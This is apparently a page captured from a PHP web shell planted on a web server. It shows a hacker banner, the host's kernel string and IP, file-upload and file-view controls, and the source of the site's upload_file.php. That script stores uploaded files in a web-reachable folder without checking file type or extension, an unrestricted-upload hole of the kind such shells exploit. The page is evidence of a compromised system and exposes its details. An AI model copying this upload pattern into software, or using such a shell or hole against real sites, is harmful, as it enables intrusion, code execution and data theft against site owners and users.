0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.227.209.89


Current Path : /proc/thread-self/root/var/www/html/pgadm2020/
Upload File :
Current File : //proc/thread-self/root/var/www/html/pgadm2020/upload_file.php

<?php
    $ds          = DIRECTORY_SEPARATOR;
    $date = date("dmYhis");
   	$file_resp="";
	if ( 0 < $_FILES['file']['error'] ) 
	{
		echo 'Error: ' . $_FILES['file']['error'] . '<br>';
		$file_resp="Failed to upload file!";
	}
	else 
	{

		$name = $date.'_'.$_FILES['file']['name'];
		$theCount = substr_count($name, '.') - 1; // count how many time the period occurs in the string
		$name = preg_replace('/\./', '_', $name, $theCount); // replace all but last one
		$name = str_replace('&', 'and', $name);
		$file_name = str_replace($_FILES['file']['name'],$name , $_FILES['file']['name']); // 
		$path = realpath(__DIR__.'/..').$ds.'upload'.$ds.$file_name;
		// var_dump(realpath(__DIR__ ),$path);
		move_uploaded_file($_FILES['file']['tmp_name'], $path);
	}	
	echo $file_name; 
?>